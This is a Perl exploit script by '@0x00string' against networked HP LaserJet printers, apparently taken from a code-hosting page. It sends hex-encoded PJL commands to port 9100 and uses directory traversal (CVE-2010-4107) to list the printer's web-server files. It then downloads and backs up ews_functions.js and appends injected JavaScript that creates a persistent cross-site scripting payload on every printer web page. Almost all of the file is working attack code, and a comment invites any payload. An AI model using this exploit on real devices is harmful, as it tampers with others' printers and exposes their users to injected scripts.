256 lines
No EOL
9.2 KiB
Perl
Executable file
256 lines
No EOL
9.2 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
use strict;
|
|
use warnings;
|
|
use IO::Socket::INET;
|
|
my $host = $ARGV[0];
|
|
|
|
# Exploit Title: HP Laser Jet Persistent Javascript Cross Site Scripting via PJL
|
|
# Google Dork: n/a
|
|
# Date: 4/22/14
|
|
# Exploit Author: @0x00string
|
|
# Vendor Homepage: http://www.hp.com/products1/laserjetprinters/
|
|
# Software Link: n/a
|
|
# Version: HP LaserJet P/M xxxx (LaserJets with network conectivity, PJL and onboard storage)
|
|
# Tested on: P4015n, P2035n, P4014, M3035 MFP, CP 3525, etc.
|
|
# CVE : CVE-2010-4107,
|
|
|
|
|
|
|
|
# This script will infect all pages on HP laserjets which include ews_functions.js by appending javascript to the ews_functions.js file by leveraging the PJL Directory Traversal
|
|
|
|
|
|
|
|
print "\t _______ __ __ _______ _______ _______ _______ ______ ___ __ _ _______
|
|
\t| _ || |_| || _ || _ || || || _ | | | | | | || |
|
|
\t| | | || || | | || | | || _____||_ _|| | || | | | |_| || ___|
|
|
\t| | | || || | | || | | || |_____ | | | |_||_ | | | || | __
|
|
\t| |_| | | | | |_| || |_| ||_____ | | | | __ || | | _ || || |
|
|
\t| || _ || || | _____| | | | | | | || | | | | || |_| |
|
|
\t|_______||__| |__||_______||_______||_______| |___| |___| |_||___| |_| |__||_______|
|
|
\t HP Laser Jet persistent Javascript XSS
|
|
\t via PJL Dir Trav\n\n";
|
|
|
|
|
|
|
|
$| = 1;
|
|
infect($host);
|
|
|
|
|
|
sub infect {
|
|
my $co = 0;
|
|
my (@returned, $temp, @files, @sizes, $size, $data);
|
|
my $socket = new IO::Socket::INET (
|
|
PeerHost => $host,
|
|
PeerPort => '9100',
|
|
Proto => 'tcp',
|
|
) or die $!;
|
|
if ($socket) {
|
|
$data =
|
|
"\x1b\x25\x2d\x31\x32".
|
|
"\x33\x34\x35\x58\x40".
|
|
"\x50\x4a\x4c\x20\x46".
|
|
"\x53\x44\x49\x52\x4c".
|
|
"\x49\x53\x54\x20\x4e".
|
|
"\x41\x4d\x45\x20\x3d".
|
|
"\x20\x22\x30\x3a\x5c".
|
|
"\x5c\x77\x65\x62\x53".
|
|
"\x65\x72\x76\x65\x72".
|
|
"\x5c\x5c\x68\x6f\x6d".
|
|
"\x65\x5c\x5c\x6a\x73".
|
|
"\x66\x69\x6c\x65\x73".
|
|
"\x5c\x5c\x22\x20\x45".
|
|
"\x4e\x54\x52\x59\x3d".
|
|
"\x31\x20\x43\x4f\x55".
|
|
"\x4e\x54\x3d\x39\x39".
|
|
"\x39\x0a\x0d\x1b\x25".
|
|
"\x2d\x31\x32\x33\x34\x35\x58";
|
|
|
|
#print "\n$data\n";
|
|
$socket = tx($socket, $data);
|
|
($socket, $temp) = rx($socket);
|
|
#print "\n$temp\n";
|
|
|
|
@returned = split('\n', $temp);
|
|
foreach(@returned) {
|
|
if ($_ =~ /(.*?)\ TYPE\=FILE\ SIZE\=(\d{1,99})/) {
|
|
push(@files, $1);
|
|
push(@sizes, $2);
|
|
}
|
|
}
|
|
}
|
|
my $two = 0;
|
|
foreach(@files) {
|
|
if ($_ =~ /RestrictColor\.js/ || $_ =~ /ews_functions\.js/) {
|
|
$two++;
|
|
}
|
|
}
|
|
if ($two > 1) {
|
|
if ($socket) {
|
|
while ($co < scalar(@files)) {
|
|
if ($files[$co] =~ /ews/) {
|
|
$size = $sizes[$co];
|
|
|
|
$data =
|
|
|
|
|
|
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
|
|
"\x40\x50\x4a\x4c\x20\x46\x53\x55\x50".
|
|
"\x4c\x4f\x41\x44\x20\x4e\x41\x4d\x45".
|
|
"\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77".
|
|
"\x65\x62\x53\x65\x72\x76\x65\x72\x5c".
|
|
"\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73".
|
|
"\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77".
|
|
"\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f".
|
|
"\x6e\x73\x2e\x6a\x73\x22\x20\x4f\x46".
|
|
|
|
"\x46\x53\x45\x54\x3d\x30\x20\x53\x49".
|
|
|
|
"\x5a\x45\x20\x3d\x20" . $size.
|
|
"\x0d\x0a";
|
|
}
|
|
$co++;
|
|
}
|
|
$temp = undef;
|
|
|
|
#print "\n$data\n";
|
|
$socket = tx($socket, $data);
|
|
|
|
$data = undef;
|
|
if ($socket) {
|
|
($socket, $temp) = rx($socket, $size);
|
|
#print "\n$temp\n";
|
|
|
|
my @original = split('\n', $temp);
|
|
$temp = "";
|
|
shift(@original);
|
|
foreach(@original) {
|
|
$temp = $temp . $_ . "\n";
|
|
}
|
|
#print $temp;
|
|
}
|
|
}
|
|
}
|
|
|
|
$data =
|
|
|
|
|
|
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
|
|
"\x40\x50\x4a\x4c\x20\x46\x53\x41\x50".
|
|
"\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d".
|
|
"\x41\x54\x3a\x42\x49\x4e\x41\x52\x59".
|
|
"\x20\x4e\x41\x4d\x45".
|
|
"\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77".
|
|
"\x65\x62\x53\x65\x72\x76\x65\x72\x5c".
|
|
"\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73".
|
|
"\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77".
|
|
"\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f".
|
|
"\x6e\x73\x2e\x42\x41\x4b".
|
|
"\x22\x20\x53\x49\x5a\x45\x20\x3d\x20".
|
|
length($temp) . "\x0d\x0a". $temp.
|
|
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58";
|
|
#print $data;
|
|
if ($socket) {
|
|
#print "\n$data\n";
|
|
$socket = tx($socket, $data);
|
|
($socket, $temp) = rx($socket);
|
|
#print "\n$temp\n";
|
|
}
|
|
|
|
if ($socket) {
|
|
$data =
|
|
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
|
|
"\x40\x50\x4a\x4c\x20\x46\x53\x51\x55".
|
|
"\x45\x52\x59\x20\x4e\x41\x4d\x45\x20".
|
|
"\x3d\x20\x22\x30\x3a\x5c\x5c\x77\x65".
|
|
"\x62\x53\x65\x72\x76\x65\x72\x5c\x5c".
|
|
"\x68\x6f\x6d\x65\x5c\x5c\x6a\x73\x66".
|
|
"\x69\x6c\x65\x73\x5c\x5c\x65\x77\x73".
|
|
"\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e".
|
|
"\x73\x2e\x42\x41\x4b\x22\x0d\x0a";
|
|
|
|
#print "\n$data\n";
|
|
$socket = tx($socket, $data);
|
|
($socket, $temp) = rx($socket);
|
|
#print "\n$temp\n";
|
|
|
|
exit(0) unless ($temp =~ /ews\_functions\.BAK/);
|
|
}
|
|
if ($socket) {
|
|
my $payload =
|
|
"\x76\x61\x72\x20\x65\x78\x70\x6c\x6f".
|
|
"\x69\x74\x20\x3d\x20\x64\x6f\x63\x75".
|
|
"\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61".
|
|
"\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74".
|
|
"\x28\x22\x64\x69\x76\x22\x29\x3b\x20".
|
|
"\x65\x78\x70\x6c\x6f\x69\x74\x2e\x69".
|
|
"\x6e\x6e\x65\x72\x48\x54\x4d\x4c\x20".
|
|
"\x3d\x20\x27\x3c\x64\x69\x76\x3e\x3c".
|
|
"\x66\x6f\x6e\x74\x20\x73\x69\x7a\x65".
|
|
"\x3d\x35\x30\x3e".
|
|
"\x41\x41\x41\x41" . "\x3c". # <--- this is being added to the page as an element. put whatever you'd like here, but check your lengths!
|
|
"\x2f\x66\x6f\x6e\x74\x3e\x3c\x2f\x64".
|
|
"\x69\x76\x3e\x27\x3b\x20\x64\x6f\x63".
|
|
"\x75\x6d\x65\x6e\x74\x2e\x67\x65\x74".
|
|
"\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42".
|
|
"\x79\x54\x61\x67\x4e\x61\x6d\x65\x28".
|
|
"\x27\x62\x6f\x64\x79\x27\x29\x5b\x30".
|
|
"\x5d\x2e\x61\x70\x70\x65\x6e\x64\x43".
|
|
"\x68\x69\x6c\x64\x28\x65\x78\x70\x6c".
|
|
"\x6f\x69\x74\x29\x3b";
|
|
|
|
$data =
|
|
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
|
|
"\x40\x50\x4a\x4c\x20\x46\x53\x41\x50".
|
|
"\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d".
|
|
"\x41\x54\x3a\x42\x49\x4e\x41\x52\x59".
|
|
"\x20\x4e\x41\x4d\x45\x20\x3d\x22\x30".
|
|
"\x3a\x5c\x5c\x77\x65\x62\x53\x65\x72".
|
|
"\x76\x65\x72\x5c\x5c\x68\x6f\x6d\x65".
|
|
"\x5c\x5c\x6a\x73\x66\x69\x6c\x65\x73".
|
|
"\x5c\x5c\x65\x77\x73\x5f\x66\x75\x6e".
|
|
"\x63\x74\x69\x6f\x6e\x73\x2e\x6a\x73".
|
|
"\x22\x20\x53\x49\x5a\x45\x20\x3d\x20".
|
|
length($payload) . "\x0d\x0a". $payload.
|
|
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58";
|
|
$socket = tx($socket, $data);
|
|
exit(0);
|
|
}
|
|
}
|
|
|
|
|
|
sub tx {
|
|
my $socket = shift;
|
|
my $data = shift;
|
|
|
|
$socket->send($data) or die $!;
|
|
|
|
return $socket;
|
|
}
|
|
|
|
sub rx {
|
|
my $socket = shift;
|
|
my $second_size = shift;
|
|
unless ($second_size) {
|
|
|
|
$second_size = 2048;
|
|
}
|
|
my $data = undef;
|
|
|
|
eval {
|
|
local $SIG{ALRM} = sub { die 'Timed Out'; };
|
|
alarm 10;
|
|
$socket->recv($data, 2048);
|
|
if ($data) {
|
|
while (length($data) < (length($data) + $second_size)) {
|
|
my $moar;
|
|
$socket->recv($moar, length($second_size + 1));
|
|
$data = $data . $moar;
|
|
}
|
|
alarm 0;
|
|
return ($socket, $data);
|
|
}
|
|
};
|
|
alarm 0;
|
|
|
|
return($socket, $data);
|
|
} |